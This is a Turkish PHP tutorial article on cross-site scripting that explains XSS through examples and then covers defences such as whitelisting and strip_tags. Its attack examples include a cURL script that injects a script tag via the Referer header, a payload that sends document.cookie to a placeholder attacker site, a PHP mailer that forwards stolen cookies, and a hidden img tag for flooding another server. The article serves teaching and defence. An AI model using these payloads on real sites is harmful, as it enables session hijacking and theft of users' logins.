Anasayfa > Programlama > PHP > Cross Site Scripting
Makaleye verilen puanlar Makaleye verilen puanlar Makaleye verilen puanlar

Cross Site Scripting




Cross Site Scripting

Cross site scripting(XSS) saldırıları kullanıcıya asıl gösterilmesi gereken verinin değiştirilerek yollamasına sebebiyet veren bir unsurdur.

Web sayfaları yıllar geçtikçe dinamikleşti, bu süreç içinde web yazılımları dışardan veri almak zorunda kaldı.Gelen verilerin kontrol edilmemesi, ve eksik kontrol edilmesi sonucu şu anki xss çılgınlığı ortaya çıktı.

Bu veri, herhangi bir mesaj tahtasının formundan gelen veri, URL ustunden gelen queryData veya kullanıcının cookie'sinden gelen veri olabilir.Kısaca kullanıcının değiştirip yollayabileceği tüm veriler.

Örnek olarak gelen son referer bilgilerini loglayıp bunu sayfada gösteren örnek bir uygulamayı ele alalım.

Kod:
<?
$referal = $_SERVER["HTTP_REFERER"] . "&";
$ac = fopen("referers.txt", "a+");
fwrite($ac, $referal);
fclose($ac);

// refererleri oku
$referals = file_get_contents("referers.txt");
$ayir = explode("&", $referals);
foreach ($ayir as $ref) {
echo $ref."<br />";
}
?>


Yukarıdaki uygulama en başta zararsız olarak görünebilir.Fakar HTTP_REFERER bilgisi birçok makalede yazıldığı, bir çok uygulamada çeşitli güvenlik kontrollerinde kullanılmasına rağmen güvenilebilinir bir veri değildir.

Zira saldırganın biri PHP'nin cURL kutuphanesi yardımıyla aşağıdaki gibi bir kod yazabilir.


Kod:
<?
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://localhost/xss/test.php");
curl_setopt($ch,CURLOPT_REFERER,"<script>alert(document.cookie)</script>");
curl_exec ($ch);
curl_close ($ch);
?>

Yukarıdaki kod çalıştırıldığında varsa cookie bilgisi ekrana basılabilir.Bu sadece proof of concept tarzında bir örnek.Ekrana cookie bastırmak dışında cookie başka sunucuya yollanabilirde..

Örneğin REFERER bilgisi şu şekilde de yollanabilir.

Kod:
<script>document.location='http://www.saldirganin_sitesi.com/logla.php?'+document.cookie</script>

Örnek logla.php içeriği :

Kod:
<?
mail("saldirgan@saldirgan.com", "Yeni cookie bilgisi", "$_SERVER[QUERY_STRING]);
?>


Bu tek satırlık betikle yeni cookie bilgisi geldikçe saldırganın mail adresine yollanacaktır.

Bu kod içeri sokulduğunda siteye giren kullanıcının cookie ve (varsa) oturum bilgileri uzaktaki sunucudaki logla.php adresine escape edilir.Daha sonra loglanan cookie ile saldırgan giriş yapabilir.

Yukarıdaki örnek oldukça basit, daha zeki bir saldırgan ziyaretçi farkında olmadan bile cookie'yi arkaplanda yollayabilir.Bu iş görünmez img ve iframe etiketleri yeterli.

Saldırı türleri, etkileri

Saldırganlar xss saldırılarıyla sadece oturum,çerez bilgileri çalmakla kalmayabilirler.Duruma göre aslında olmayan bir sayfayı görebilirsiniz.Genişçe bir iframe içinde yeniden oturum bilgilerinizi girmenizi isteyen bir sayfa, veya aslında olmaması gereken yazılar görebilirsiniz.Bu yönüyle XSS phishing yöntemi olarak ta kullanılabilmekte.Herhangi bir bankanın sitesinde "profilinizi güncelleyin ama önce şifrenizi girin" tarzı sahte sayfalar görmek gibi.

Buna benzer bir örneği de ceviz.net forumlarında 2005'in nisan ayında görmüştük  :) (
http://forum.ceviz.net/showthread.php?t=18634)

Bunun dışında XSS saldırganlar tarafından başka siteler saldırı unsuru olarakta kullanabilinir.Çok ziyaretcisi olan bir site de gizli verilen ve saldırılacak başka bir hedefe yollanan HTTP istekleri diğer hedef için sorun oluşturabilir.Zira anlık 1000+ kişinin girdiği bir siteden başka siteye yollanan aşağıdaki gibi bir kodun diğer sitenin mySQL sunucusu üzerindeki etkilerini düşünün.

Kod:
<img src="http://www.uzaktaki_sunucu.com/detayli_arama.php?kosul=soyle&kosul2=boyle&anahtar_kelime=boyle" style="display:none">

Kısaca XSS saldırılarıyla yapabilecekler JS ve HTML ile yapılabileceklerle sınırlı.

İşin güvenlik kısmı, Nasıl önlem alacağız ?

Güvenlik konusunda temel ilke olan " Filter the input, escape the output " ilkesi geçerli.Kullanıcının bir şekilde değiştirebilip yollayabileceği her türlü veriyi filtrelemeden, kontrol etmeden ekrana basmayacaksanız.Kontrol etme imkanınız varsa mutlaka beyaz liste yöntemi kullanın.Örnek bir uygulama yapalım;

Başlık bilgisini queryData'dan alıp gösteren bir uygulama yazalım :

baslik.php

Kod:
<?
echo("<title>$_GET[baslik]</title>");
// sayfanın geri kalan kısmi
?>

Başlık kısmı bu şekilde direk ekrana basılırsa yukarıda bahsini ettiğimiz sorunlar ortaya çıkabilir.Beyaz liste yöntemini kullanırsak;


Kod:
<?
$olasi_basliklar = array("index","haberler","baglantilar");
if(in_array($_GET["baslik"],$olasi_basliklar)) {
echo("<title>$_GET[baslik]</title>");
}
else {
die("Olasi saldiri");
}
?>



Olası başlıkları kontrol edip gelen veriyle karşılaştırıyoruz, eğer güvenilirse ekrana öyle basıyoruz.

Beyaz liste her ne kadar en güvenli kontrol yöntemi olsa da kullanım alanı dardır.Örneğin bir foruma ziyaretçilerin yolladığı mesajları bu yöntemle kontrol etmeniz mümkün değildir.

Bu gibi durumlarda yapılması gerekenler filtrelemedir.PHP ile bütünleşik olarak htmlspecialchars, strip_tags() gibi fonksiyonlar gelmektedir.Yazının başında bahsettiğimiz REFERER gösterme uygulamasını güvenli hale $referal değişkenini aşağıdaki gibi değiştirerek getirebilirsiniz.

$referal = strip_tags($_SERVER["HTTP_REFERER"] . "&");

Güvenilmemesi gereken global diziler

Kullanıcıdan gelen veri diyince aklınıza sadece _POST , _GET global dizileri gelmesin.Bunların dışında _COOKIE, _REQUEST, hatta bazı elemanlarıyla _FILES ve _SERVER dizilerine güvenmemeniz gerekebilir.

_SERVER dizisinin bazı elemanları kullanıcı tarafından değiştirilebilir.Özellikle PHP_SELF özelliği şu anda bir çok açık kaynak kodlu uygulamada filtrelenmeden ekrana basılmış durumda, dolayısıyla yapımcılar xss problemleriyle boğuşmakta.

_SERVER dizisinde benim fark ettiğim 3 tane tehlikeli eleman var.

_SERVER["PATH_INFO"]

_SERVER["PATH_TRANSLATED"]

_SERVER["PHP_SELF"]

elemanlarının değerleri x.php/XSS gibi bir istek yapıldığında

_SERVER["PATH_INFO"] = /<XSS>

_SERVER["PATH_TRANSLATED"] = /var/www/domain/<XSS>

_SERVER["PHP_SELF"] = /index.php/<XSS>

haline gelmekte.

Daha fazlası için phpinfo(); çıktısından değişkenleri URL üstünden değiştirip sonucu görebilirsiniz.

Sonuç

XSS önlenilmesi oldukça kolay bir saldırı türü.Altın kural olan kontrol ve filtreleme işlemlerini yaptıktan sonra XSS'den korkmanıza gerek yok.

XSS hakkında kaynaklar

http://www.cgisecurity.com/articles/xss-faq.shtml

http://shiflett.org/articles/foiling-cross-site-attacks

http://ha.ckers.org/xss.html

http://webmonkey.wired.com/webmonkey/00/18/index3a.html

Bu makale hakkında ek bilgi eklemek için buraya tıklayınız

Bu makalenin yazar yada kaynağını bildirmek için tıklayınız.

Digg this Post! Add Post to del.icio.us Bookmark Post in Technorati Furl this Post!
Eklenme tarihi: 2-8-2006  Okunma: 3697

Bu Makaleye Verilen Puan:    Makaleye verilen puanlar Makaleye verilen puanlar Makaleye verilen puanlar
Bu Makaleye Puan Ver  

Bölüm Başlık Kullanıcı Yorumları


Bu makaleye yorum gönderilmemiş, ilk yorumu sen gönder !
Reklam Netinternet
Bazı hakları saklıdır: İçeriğin editör ve yazarlarımız tarafından oluşturulan kısımları ve site tasarımının hakkı saklıdır.  Bu sayfa en iyi 1280x1024 ve 1024x768 çözünürlükte izlenir.
Powered by BilgiPortal v2.2
Emlak Yorumlar Müzik estetik